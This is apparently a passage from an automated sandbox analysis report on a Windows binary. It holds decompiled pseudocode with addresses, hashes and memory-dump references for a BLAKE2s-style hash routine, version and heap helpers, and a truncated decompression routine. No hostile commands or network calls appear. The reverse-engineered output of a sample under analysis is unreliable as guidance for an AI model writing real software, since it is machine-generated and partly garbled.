0x013808cb
0x013808ce
0x013808e4
0x00000000
0x013808e4
0x013808d3
0x013808d5
0x013808d5
0x013808d3
0x00000000
0x013808c4
0x013807c6
0x013807d4
0x013807dc
0x00000000
0x013807dc
0x013807ca
0x013807cf
0x013807cf
0x00000000
0x013807ca
0x01380787
0x01380795
0x0138079d
0x00000000
0x0138079d
0x0138078b
0x01380790
0x01380790
0x0138078b

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0138064F,?,?,00000008,?,?,013802EF,00000000), ref: 01380881

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 3eae82bdbd680682396eb9c303c15935274620109c55819a33a59cd03b498615
Instruction ID: 4296468ad4b331372490cd158043ab1883d156877fc3e8215d29c729af259a5a
Opcode Fuzzy Hash: 3eae82bdbd680682396eb9c303c15935274620109c55819a33a59cd03b498615
Instruction Fuzzy Hash: 74B114356207089FE719DF2CC48AB657FA0FB45368F298658F999CF2A1C335E985CB40

Uniqueness

Uniqueness Score: -1.00%

Function 01353EAD, Relevance: 1.6, Strings: 1, Instructions: 332
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E01353EAD() {
				void* _t230;
				signed int* _t231;
				intOrPtr _t240;
				signed int _t245;
				intOrPtr _t246;
				signed int _t257;
				intOrPtr _t258;
				signed int _t269;
				intOrPtr _t270;
				signed int _t275;
				signed int _t280;
				signed int _t285;
				signed int _t290;
				signed int _t295;
				intOrPtr _t296;
				signed int _t301;
				intOrPtr _t302;
				signed int _t307;
				intOrPtr _t308;
				signed int _t313;
				intOrPtr _t314;
				signed int _t319;
				signed int _t324;
				signed int _t329;
				signed int _t333;
				signed int _t334;
				signed int _t336;
				signed int _t337;
				signed int _t338;
				signed int _t340;
				signed int _t341;
				signed int _t342;
				signed int _t348;
				signed int _t350;
				signed int _t351;
				signed int _t353;
				signed int _t355;
				signed int _t356;
				signed int _t358;
				signed int _t360;
				signed int _t362;
				signed int _t363;
				signed int _t365;
				signed int _t366;
				signed int _t368;
				signed int _t369;
				signed int _t371;
				signed int _t372;
				signed int _t374;
				signed int _t375;
				intOrPtr _t376;
				intOrPtr _t377;
				signed int _t379;
				signed int _t381;
				intOrPtr _t383;
				signed int _t385;
				signed int _t386;
				signed int _t388;
				signed int _t389;
				signed int _t390;
				signed int _t391;
				signed int _t392;
				signed int _t393;
				signed int _t394;
				signed int _t395;
				intOrPtr _t396;
				signed int _t398;
				intOrPtr _t399;
				signed int _t407;
				signed int _t409;
				signed int _t411;
				signed int _t412;
				signed int _t414;
				signed int _t418;
				signed int _t420;
				signed int _t422;
				signed int _t423;
				signed int _t425;
				signed int _t427;
				signed int _t429;
				intOrPtr _t431;
				signed int _t433;
				intOrPtr _t434;
				void* _t435;
				void* _t436;
				void* _t437;

				_t377 =  *((intOrPtr*)(_t435 + 0xc0));
				_t342 = 0x10;
				 *((intOrPtr*)(_t435 + 0x18)) = 0x3c6ef372;
				memcpy(_t435 + 0x8c,  *(_t435 + 0xd0), _t342 << 2);
				_t436 = _t435 + 0xc;
				_push(8);
				_t230 = memcpy(_t436 + 0x4c,  *(_t377 + 0xf4), 0 << 2);
				_t437 = _t436 + 0xc;
				_t418 =  *_t230 ^ 0x510e527f;
				_t231 =  *(_t377 + 0xfc);
				_t407 =  *(_t230 + 4) ^ 0x9b05688c;
				_t334 =  *(_t437 + 0x64);
				 *(_t437 + 0x28) = 0x6a09e667;
				 *(_t437 + 0x30) = 0xbb67ae85;
				_t379 =  *_t231 ^ 0x1f83d9ab;
				_t348 =  *(_t437 + 0x5c);
				 *(_t437 + 0x44) = _t231[1] ^ 0x5be0cd19;
				 *(_t437 + 0x3c) =  *(_t437 + 0x68);
				 *(_t437 + 0x1c) =  *(_t437 + 0x60);
				 *(_t437 + 0x2c) =  *(_t437 + 0x58);
				 *(_t437 + 0x38) =  *(_t437 + 0x54);
				 *(_t437 + 0x20) =  *(_t437 + 0x50);
				 *((intOrPtr*)(_t437 + 0x10)) = 0;
				 *((intOrPtr*)(_t437 + 0x48)) = 0;
				_t427 =  *(_t437 + 0x44);
				 *(_t437 + 0x14) =  *(_t437 + 0x4c);
				_t240 =  *((intOrPtr*)(_t437 + 0x10));
				 *(_t437 + 0x24) = 0xa54ff53a;
				 *(_t437 + 0x40) = _t334;
				 *(_t437 + 0x34) = _t348;
				do {
					_t37 = _t240 + 0x13823b0; // 0x3020100
					_t350 =  *(_t437 + 0x14) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t37 & 0x000000ff) * 4)) + _t348;
					 *(_t437 + 0x14) = _t350;
					_t351 = _t350 ^ _t418;
					asm("rol ecx, 0x10");
					_t245 =  *(_t437 + 0x28) + _t351;
					_t420 =  *(_t437 + 0x34) ^ _t245;
					 *(_t437 + 0x28) = _t245;
					_t246 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror esi, 0xc");
					 *(_t437 + 0x34) = _t420;
					_t48 = _t246 + 0x13823b1; // 0x4030201
					_t422 =  *(_t437 + 0x14) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t48 & 0x000000ff) * 4)) + _t420;
					 *(_t437 + 0x14) = _t422;
					_t423 = _t422 ^ _t351;
					asm("ror esi, 0x8");
					_t353 =  *(_t437 + 0x28) + _t423;
					 *(_t437 + 0x28) = _t353;
					asm("ror eax, 0x7");
					 *(_t437 + 0x34) =  *(_t437 + 0x34) ^ _t353;
					_t60 =  *((intOrPtr*)(_t437 + 0x10)) + 0x13823b2; // 0x5040302
					_t355 =  *(_t437 + 0x20) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t60 & 0x000000ff) * 4)) +  *(_t437 + 0x1c);
					 *(_t437 + 0x20) = _t355;
					_t356 = _t355 ^ _t407;
					asm("rol ecx, 0x10");
					_t257 =  *(_t437 + 0x30) + _t356;
					_t409 =  *(_t437 + 0x1c) ^ _t257;
					 *(_t437 + 0x30) = _t257;
					_t258 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edi, 0xc");
					 *(_t437 + 0x1c) = _t409;
					_t71 = _t258 + 0x13823b3; // 0x6050403
					_t411 =  *(_t437 + 0x20) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t71 & 0x000000ff) * 4)) + _t409;
					 *(_t437 + 0x20) = _t411;
					_t412 = _t411 ^ _t356;
					asm("ror edi, 0x8");
					_t358 =  *(_t437 + 0x30) + _t412;
					 *(_t437 + 0x30) = _t358;
					asm("ror eax, 0x7");
					 *(_t437 + 0x1c) =  *(_t437 + 0x1c) ^ _t358;
					_t82 =  *((intOrPtr*)(_t437 + 0x10)) + 0x13823b4; // 0x7060504
					_t336 =  *(_t437 + 0x38) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t82 & 0x000000ff) * 4)) + _t334;
					_t360 = _t336 ^ _t379;
					asm("rol ecx, 0x10");
					_t269 =  *(_t437 + 0x18) + _t360;
					_t381 =  *(_t437 + 0x40) ^ _t269;
					 *(_t437 + 0x18) = _t269;
					_t270 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edx, 0xc");
					_t91 = _t270 + 0x13823b5; // 0x8070605
					_t337 = _t336 +  *((intOrPtr*)(_t437 + 0x8c + ( *_t91 & 0x000000ff) * 4)) + _t381;
					 *(_t437 + 0x38) = _t337;
					_t338 = _t337 ^ _t360;
					asm("ror ebx, 0x8");
					_t275 =  *(_t437 + 0x18) + _t338;
					 *(_t437 + 0x18) = _t275;
					asm("ror edx, 0x7");
					 *(_t437 + 0x40) = _t381 ^ _t275;
					_t383 =  *((intOrPtr*)(_t437 + 0x10));
					_t101 = _t383 + 0x13823b6; // 0x9080706
					_t362 =  *(_t437 + 0x2c) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t101 & 0x000000ff) * 4)) +  *(_t437 + 0x3c);
					 *(_t437 + 0x2c) = _t362;
					_t363 = _t362 ^ _t427;
					asm("rol ecx, 0x10");
					_t280 =  *(_t437 + 0x24) + _t363;
					_t429 =  *(_t437 + 0x3c) ^ _t280;
					 *(_t437 + 0x24) = _t280;
					_t110 = _t383 + 0x13823b7; // 0xa090807
					asm("ror ebp, 0xc");
					_t385 =  *(_t437 + 0x2c) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t110 & 0x000000ff) * 4)) + _t429;
					 *(_t437 + 0x2c) = _t385;
					_t386 = _t385 ^ _t363;
					asm("ror edx, 0x8");
					_t285 =  *(_t437 + 0x24) + _t386;
					 *(_t437 + 0x24) = _t285;
					asm("ror ebp, 0x7");
					 *(_t437 + 0x3c) = _t429 ^ _t285;
					_t431 =  *((intOrPtr*)(_t437 + 0x10));
					_t121 = _t431 + 0x13823b8; // 0xb0a0908
					_t365 =  *(_t437 + 0x14) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t121 & 0x000000ff) * 4)) +  *(_t437 + 0x1c);
					 *(_t437 + 0x14) = _t365;
					_t366 = _t365 ^ _t386;
					asm("rol ecx, 0x10");
					_t290 =  *(_t437 + 0x18) + _t366;
					_t388 =  *(_t437 + 0x1c) ^ _t290;
					 *(_t437 + 0x18) = _t290;
					_t130 = _t431 + 0x13823b9; // 0xc0b0a09
					asm("ror edx, 0xc");
					_t433 =  *(_t437 + 0x14) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t130 & 0x000000ff) * 4)) + _t388;
					 *(_t437 + 0x14) = _t433;
					 *(_t437 + 0x4c) = _t433;
					_t427 = _t433 ^ _t366;
					asm("ror ebp, 0x8");
					_t295 =  *(_t437 + 0x18) + _t427;
					_t389 = _t388 ^ _t295;
					 *(_t437 + 0x18) = _t295;
					 *(_t437 + 0x74) = _t295;
					_t296 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edx, 0x7");
					 *(_t437 + 0x1c) = _t389;
					 *(_t437 + 0x60) = _t389;
					_t144 = _t296 + 0x13823ba; // 0xd0c0b0a
					_t390 =  *(_t437 + 0x40);
					_t368 =  *(_t437 + 0x20) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t144 & 0x000000ff) * 4)) + _t390;
					 *(_t437 + 0x20) = _t368;
					_t369 = _t368 ^ _t423;
					asm("rol ecx, 0x10");
					_t301 =  *(_t437 + 0x24) + _t369;
					_t391 = _t390 ^ _t301;
					 *(_t437 + 0x24) = _t301;
					_t302 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edx, 0xc");
					_t154 = _t302 + 0x13823bb; // 0xe0d0c0b
					_t425 =  *(_t437 + 0x20) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t154 & 0x000000ff) * 4)) + _t391;
					 *(_t437 + 0x20) = _t425;
					 *(_t437 + 0x50) = _t425;
					_t418 = _t425 ^ _t369;
					asm("ror esi, 0x8");
					_t307 =  *(_t437 + 0x24) + _t418;
					_t392 = _t391 ^ _t307;
					 *(_t437 + 0x24) = _t307;
					 *(_t437 + 0x78) = _t307;
					_t308 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edx, 0x7");
					 *(_t437 + 0x40) = _t392;
					 *(_t437 + 0x64) = _t392;
					_t167 = _t308 + 0x13823bc; // 0xf0e0d0c
					_t393 =  *(_t437 + 0x3c);
					_t371 =  *(_t437 + 0x38) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t167 & 0x000000ff) * 4)) + _t393;
					 *(_t437 + 0x38) = _t371;
					_t372 = _t371 ^ _t412;
					asm("rol ecx, 0x10");
					_t313 =  *(_t437 + 0x28) + _t372;
					_t394 = _t393 ^ _t313;
					 *(_t437 + 0x28) = _t313;
					_t314 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edx, 0xc");
					_t177 = _t314 + 0x13823bd; // 0xe0f0e0d
					_t414 =  *(_t437 + 0x38) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t177 & 0x000000ff) * 4)) + _t394;
					 *(_t437 + 0x38) = _t414;
					 *(_t437 + 0x54) = _t414;
					_t407 = _t414 ^ _t372;
					asm("ror edi, 0x8");
					_t319 =  *(_t437 + 0x28) + _t407;
					_t395 = _t394 ^ _t319;
					 *(_t437 + 0x28) = _t319;
					asm("ror edx, 0x7");
					 *(_t437 + 0x3c) = _t395;
					 *(_t437 + 0x68) = _t395;
					_t396 =  *((intOrPtr*)(_t437 + 0x10));
					 *(_t437 + 0x6c) = _t319;
					_t190 = _t396 + 0x13823be; // 0xa0e0f0e
					_t374 =  *(_t437 + 0x2c) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t190 & 0x000000ff) * 4)) +  *(_t437 + 0x34);
					 *(_t437 + 0x2c) = _t374;
					_t375 = _t374 ^ _t338;
					asm("rol ecx, 0x10");
					_t324 =  *(_t437 + 0x30) + _t375;
					_t340 =  *(_t437 + 0x34) ^ _t324;
					 *(_t437 + 0x30) = _t324;
					_t199 = _t396 + 0x13823bf; // 0x40a0e0f
					asm("ror ebx, 0xc");
					_t398 =  *(_t437 + 0x2c) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t199 & 0x000000ff) * 4)) + _t340;
					 *(_t437 + 0x2c) = _t398;
					 *(_t437 + 0x58) = _t398;
					_t379 = _t398 ^ _t375;
					asm("ror edx, 0x8");
					_t329 =  *(_t437 + 0x30) + _t379;
					_t341 = _t340 ^ _t329;
					 *(_t437 + 0x30) = _t329;
					 *(_t437 + 0x70) = _t329;
					asm("ror ebx, 0x7");
					_t240 =  *((intOrPtr*)(_t437 + 0x10)) + 0x10;
					 *(_t437 + 0x34) = _t341;
					_t348 =  *(_t437 + 0x34);
					 *(_t437 + 0x5c) = _t341;
					_t334 =  *(_t437 + 0x40);
					 *((intOrPtr*)(_t437 + 0x10)) = _t240;
				} while (_t240 <= 0x90);
				 *(_t437 + 0x84) = _t379;
				_t399 =  *((intOrPtr*)(_t437 + 0xd0));
				 *(_t437 + 0x88) = _t427;
				_t434 =  *((intOrPtr*)(_t437 + 0x48));
				 *(_t437 + 0x7c) = _t418;
				 *(_t437 + 0x80) = _t407;
				do {
					_t376 =  *((intOrPtr*)(_t399 + 0xf4));
					_t333 =  *(_t437 + _t434 + 0x6c) ^  *(_t376 + _t434) ^  *(_t437 + _t434 + 0x4c);
					 *(_t376 + _t434) = _t333;
					_t434 = _t434 + 4;
				} while (_t434 < 0x20);
				return _t333;
			}

0x01353eb3
0x01353ecd
0x01353ed5
0x01353edd
0x01353edd
0x01353ee9
0x01353eec
0x01353eec
0x01353ef8
0x01353efe
0x01353f04
0x01353f0a
0x01353f0e
0x01353f17
0x01353f20
0x01353f26
0x01353f2f
0x01353f39
0x01353f41
0x01353f49
0x01353f51
0x01353f59
0x01353f61
0x01353f65
0x01353f69
0x01353f6d
0x01353f71
0x01353f75
0x01353f7d
0x01353f81
0x01353f85
0x01353f85
0x01353f99
0x01353f9f
0x01353fa3
0x01353fa9
0x01353fac
0x01353fae
0x01353fb0
0x01353fb4
0x01353fb8
0x01353fbb
0x01353fbf
0x01353fd3
0x01353fd9
0x01353fdd
0x01353fe3
0x01353fe6
0x01353fea
0x01353fee
0x01353ff1
0x01353ffd
0x0135400f
0x01354015
0x01354019
0x0135401f
0x01354022
0x01354024
0x01354026
0x0135402a
0x0135402e
0x01354031
0x01354035
0x01354049
0x0135404f
0x01354053
0x01354059
0x0135405c
0x01354060
0x01354064
0x01354067
0x0135406f
0x01354083
0x0135408b
0x01354091
0x01354094
0x01354096
0x01354098
0x0135409c
0x013540a0
0x013540a3
0x013540b3
0x013540b9
0x013540bd
0x013540c3
0x013540c6
0x013540ca
0x013540ce
0x013540d1
0x013540d5
0x013540d9
0x013540eb
0x013540f1
0x013540f5
0x013540fb
0x013540fe
0x01354100
0x01354102
0x01354106
0x01354111
0x0135411d
0x01354123
0x01354127
0x0135412d
0x01354130
0x01354134
0x01354138
0x0135413b
0x0135413f
0x01354143
0x01354155
0x0135415b
0x0135415f
0x01354165
0x01354168
0x0135416a
0x0135416c
0x01354170
0x0135417b
0x01354187
0x0135418d
0x01354191
0x01354195
0x0135419b
0x0135419e
0x013541a0
0x013541a2
0x013541a6
0x013541aa
0x013541ae
0x013541b1
0x013541b5
0x013541b9
0x013541c0
0x013541cd
0x013541cf
0x013541d3
0x013541dd
0x013541e0
0x013541e2
0x013541e4
0x013541e8
0x013541ec
0x013541ef
0x013541ff
0x01354205
0x01354209
0x0135420d
0x01354213
0x01354216
0x01354218
0x0135421a
0x0135421e
0x01354222
0x01354226
0x01354229
0x0135422d
0x01354231
0x01354238
0x01354245
0x0135424b
0x0135424f
0x01354255
0x01354258
0x0135425a
0x0135425c
0x01354260
0x01354264
0x01354267
0x01354277
0x0135427d
0x01354281
0x01354285
0x0135428b
0x0135428e
0x01354290
0x01354292
0x01354296
0x01354299
0x0135429d
0x013542a1
0x013542a5
0x013542a9
0x013542bb
0x013542c1
0x013542c5
0x013542cb
0x013542ce
0x013542d0
0x013542d2
0x013542d6
0x013542e1
0x013542ed
0x013542ef
0x013542f3
0x013542f7
0x013542f9
0x01354300
0x01354302
0x01354304
0x01354308
0x01354310
0x01354313
0x01354316
0x0135431a
0x0135431e
0x01354322
0x01354326
0x0135432a
0x01354335
0x0135433c
0x01354343
0x0135434a
0x0135434e
0x01354352
0x01354359
0x01354359
0x01354366
0x0135436a
0x0135436d
0x01354370
0x0135437f

Strings

gj, xrefs: 01353EF0

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 9bbbc9dcc89013cd3d9d0600a340a5052f93a8c141e6a22e599476d26e150a77
Instruction ID: 74b5cdcc476b3c1c761f11b0534a08d168ac075ff6e9166c59117b57404bb59a
Opcode Fuzzy Hash: 9bbbc9dcc89013cd3d9d0600a340a5052f93a8c141e6a22e599476d26e150a77
Instruction Fuzzy Hash: CEF1D3B2A083418FC348CF29D890A1BFBE1BFC8208F15892EF598D7751DA74E9558F56

Uniqueness

Uniqueness Score: -1.00%

Function 0135A995, Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0135A995() {
				struct _OSVERSIONINFOW _v280;
				signed int _t6;
				intOrPtr _t12;
				intOrPtr _t13;

				_t12 =  *0x138d020; // 0x2
				if(_t12 != 0xffffffff) {
					_t6 =  *0x13900f0; // 0xa
					_t13 =  *0x13900f4; // 0x0
				} else {
					_v280.dwOSVersionInfoSize = 0x114;
					GetVersionExW( &_v280);
					_t12 = _v280.dwPlatformId;
					_t6 = _v280.dwMajorVersion;
					_t13 = _v280.dwMinorVersion;
					 *0x138d020 = _t12;
					 *0x13900f0 = _t6;
					 *0x13900f4 = _t13;
				}
				if(_t12 != 2) {
					return 0x501;
				} else {
					return (_t6 << 8) + _t13;
				}
			}

0x0135a998
0x0135a9a7
0x0135a9e5
0x0135a9ea
0x0135a9a9
0x0135a9af
0x0135a9ba
0x0135a9c0
0x0135a9c6
0x0135a9cc
0x0135a9d2
0x0135a9d8
0x0135a9dd
0x0135a9dd
0x0135a9f3
0x00000000
0x0135a9f5
0x00000000
0x0135a9f8

APIs

GetVersionExW.KERNEL32(?), ref: 0135A9BA

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: efccc37fc55030e9a4e84c8468bbf44a28d4fd42f4f3bcfb9be1aa1cffa94bd1
Instruction ID: 47fad70d2814ad73fc656c8e2b0b380e8c77a7afe89aaa971867a29fc612dc2a
Opcode Fuzzy Hash: efccc37fc55030e9a4e84c8468bbf44a28d4fd42f4f3bcfb9be1aa1cffa94bd1
Instruction Fuzzy Hash: 2DF017B490021C8BCB29CB18E942AE973BDFB48714F104399EE1583388E371A9819FA1

Uniqueness

Uniqueness Score: -1.00%

Function 0137ACA1, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0137ACA1() {
				signed int _t3;

				_t3 = GetProcessHeap();
				 *0x13b0874 = _t3;
				return _t3 & 0xffffff00 | _t3 != 0x00000000;
			}

0x0137aca1
0x0137aca9
0x0137acb1

APIs

GetProcessHeap.KERNEL32 ref: 0137ACA1

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: f68694eef3d7439d641d4caf2cdf1c652d3ec7f0cf6e59f365963ecd1c237a9f
Instruction ID: df0639d50f76051a1963c8a07dcda6595da49ada570f5dcf98b49c1941eedc0c
Opcode Fuzzy Hash: f68694eef3d7439d641d4caf2cdf1c652d3ec7f0cf6e59f365963ecd1c237a9f
Instruction Fuzzy Hash: 23A011302022008BC3208F32A20820E3AECAA00B80B088028A20AC2008EB3080208B00

Uniqueness

Uniqueness Score: -1.00%

Function 0136589E, Relevance: .8, Instructions: 800
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0136589E(intOrPtr __esi) {
				signed int _t314;
				signed int _t315;
				signed int _t316;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t321;
				signed int _t322;
				signed int _t324;
				signed int _t325;
				signed int _t326;
				void* _t328;
				intOrPtr _t333;
				signed int _t347;
				char _t356;
				unsigned int _t359;
				void* _t366;
				intOrPtr _t371;
				signed int _t381;
				char _t390;
				unsigned int _t391;
				void* _t399;
				intOrPtr _t400;
				signed int _t403;
				char _t412;
				signed int _t414;
				intOrPtr _t415;
				signed int _t417;
				signed int _t418;
				signed int _t419;
				signed int _t420;
				signed int _t422;
				signed int _t423;
				signed short _t424;
				signed int _t425;
				signed int _t428;
				signed int _t429;
				signed int _t430;
				signed int _t431;
				signed int _t433;
				signed int _t434;
				signed short _t435;
				unsigned int _t439;
				unsigned int _t444;
				signed int _t458;
				signed int _t460;
				signed int _t461;
				signed int _t464;
				signed int _t466;
				signed int _t468;
				signed int _t471;
				signed int _t472;
				signed int _t473;
				intOrPtr* _t474;
				signed int _t478;
				signed int _t479;
				intOrPtr _t483;
				unsigned int _t486;
				void* _t488;
				signed int _t491;
				signed int* _t493;
				unsigned int _t496;
				void* _t498;
				signed int _t501;
				signed int _t503;
				signed int _t511;
				void* _t514;
				signed int _t517;
				signed int _t519;
				signed int _t522;
				void* _t525;
				signed int _t528;
				signed int _t529;
				intOrPtr* _t531;
				void* _t532;
				signed int _t535;
				signed int _t537;
				signed int _t539;
				unsigned int _t546;
				void* _t548;
				signed int _t551;
				unsigned int _t555;
				void* _t557;
				signed int _t560;
				intOrPtr* _t562;
				void* _t563;
				signed int _t566;
				void* _t569;
				signed int _t572;
				intOrPtr* _t575;
				void* _t576;
				signed int _t579;
				void* _t582;
				signed int _t585;
				signed int _t586;
				intOrPtr* _t591;
				void* _t592;
				signed int _t595;
				signed int* _t598;
				unsigned int _t600;
				signed int _t603;
				unsigned int _t605;
				signed int _t608;
				void* _t611;
				signed int _t613;
				signed int _t614;
				void* _t615;
				unsigned int _t617;
				unsigned int _t621;
				signed int _t624;
				signed int _t625;
				signed int _t626;
				signed int _t627;
				signed int _t628;
				signed int _t629;
				unsigned int _t632;
				signed int _t634;
				intOrPtr* _t637;
				intOrPtr _t638;
				signed int _t639;
				signed int _t640;
				signed int _t641;
				signed int _t643;
				signed int _t644;
				signed int _t645;
				char* _t646;
				signed int _t648;
				signed int _t649;
				signed int _t651;
				char* _t652;
				intOrPtr* _t656;
				signed int _t657;
				void* _t658;
				void* _t661;

				L0:
				while(1) {
					L0:
					_t638 = __esi;
					_t598 = __esi + 0x7c;
					while(1) {
						L1:
						 *_t598 =  *_t598 &  *(_t638 + 0xe6dc);
						if( *_t643 <  *((intOrPtr*)(_t638 + 0x88))) {
							goto L12;
						} else {
							_t637 = _t638 + 0x8c;
						}
						while(1) {
							L3:
							_t661 =  *_t643 -  *((intOrPtr*)(_t638 + 0x94)) - 1 +  *_t637;
							if(_t661 <= 0 && (_t661 != 0 ||  *(_t638 + 8) <  *((intOrPtr*)(_t638 + 0x90)))) {
								break;
							}
							L6:
							if( *((char*)(_t638 + 0x9c)) != 0) {
								L99:
								_t415 = E013647DA(_t638);
								L100:
								return _t415;
							}
							L7:
							_push(_t637);
							_push(_t643);
							_t415 = E013633D3(_t638);
							if(_t415 == 0) {
								goto L100;
							}
							L8:
							_push(_t638 + 0xa0);
							_push(_t637);
							_push(_t643);
							_t415 = E0136397F(_t638);
							if(_t415 != 0) {
								continue;
							} else {
								goto L100;
							}
						}
						L10:
						_t458 = E01364422(_t638);
						__eflags = _t458;
						if(_t458 == 0) {
							goto L99;
						} else {
							_t598 = _t638 + 0x7c;
						}
						L12:
						_t483 =  *((intOrPtr*)(_t638 + 0x4b3c));
						__eflags = (_t483 -  *_t598 &  *(_t638 + 0xe6dc)) - 0x1004;
						if((_t483 -  *_t598 &  *(_t638 + 0xe6dc)) >= 0x1004) {
							L18:
							_t314 = E0135A4ED(_t643);
							_t315 =  *(_t638 + 0x124);
							_t600 = _t314 & 0x0000fffe;
							__eflags = _t600 -  *((intOrPtr*)(_t638 + 0xa4 + _t315 * 4));
							if(_t600 >=  *((intOrPtr*)(_t638 + 0xa4 + _t315 * 4))) {
								L20:
								_t627 = 0xf;
								_t316 = _t315 + 1;
								__eflags = _t316 - _t627;
								if(_t316 >= _t627) {
									L26:
									_t486 =  *(_t643 + 4) + _t627;
									 *(_t643 + 4) = _t486 & 0x00000007;
									_t318 = _t486 >> 3;
									 *_t643 =  *_t643 + _t318;
									_t488 = 0x10;
									_t491 =  *((intOrPtr*)(_t638 + 0xe4 + _t627 * 4)) + (_t600 -  *((intOrPtr*)(_t638 + 0xa0 + _t627 * 4)) >> _t488 - _t627);
									__eflags = _t491 -  *((intOrPtr*)(_t638 + 0xa0));
									asm("sbb eax, eax");
									_t319 = _t318 & _t491;
									__eflags = _t319;
									_t460 =  *(_t638 + 0xd28 + _t319 * 2) & 0x0000ffff;
									goto L27;
								} else {
									_t591 = _t638 + (_t316 + 0x29) * 4;
									while(1) {
										L22:
										__eflags = _t600 -  *_t591;
										if(_t600 <  *_t591) {
											_t627 = _t316;
											goto L26;
										}
										L23:
										_t316 = _t316 + 1;
										_t591 = _t591 + 4;
										__eflags = _t316 - 0xf;
										if(_t316 < 0xf) {
											continue;
										} else {
											goto L26;
										}
									}
									goto L26;
								}
							} else {
								_t592 = 0x10;
								_t626 = _t600 >> _t592 - _t315;
								_t595 = ( *(_t626 + _t638 + 0x128) & 0x000000ff) +  *(_t643 + 4);
								 *_t643 =  *_t643 + (_t595 >> 3);
								 *(_t643 + 4) = _t595 & 0x00000007;
								_t460 =  *(_t638 + 0x528 + _t626 * 2) & 0x0000ffff;
								L27:
								__eflags = _t460 - 0x100;
								if(_t460 >= 0x100) {
									L31:
									__eflags = _t460 - 0x106;
									if(_t460 < 0x106) {
										L96:
										__eflags = _t460 - 0x100;
										if(_t460 != 0x100) {
											L102:
											__eflags = _t460 - 0x101;
											if(_t460 != 0x101) {
												L129:
												_t461 = _t460 + 0xfffffefe;
												__eflags = _t461;
												_t493 = _t638 + (_t461 + 0x18) * 4;
												_t603 =  *_t493;
												 *(_t658 + 0x30) = _t603;
												if(_t461 == 0) {
													L131:
													 *(_t638 + 0x60) = _t603;
													_t320 = E0135A4ED(_t643);
													_t321 =  *(_t638 + 0x2de8);
													_t605 = _t320 & 0x0000fffe;
													__eflags = _t605 -  *((intOrPtr*)(_t638 + 0x2d68 + _t321 * 4));
													if(_t605 >=  *((intOrPtr*)(_t638 + 0x2d68 + _t321 * 4))) {
														L133:
														_t628 = 0xf;
														_t322 = _t321 + 1;
														__eflags = _t322 - _t628;
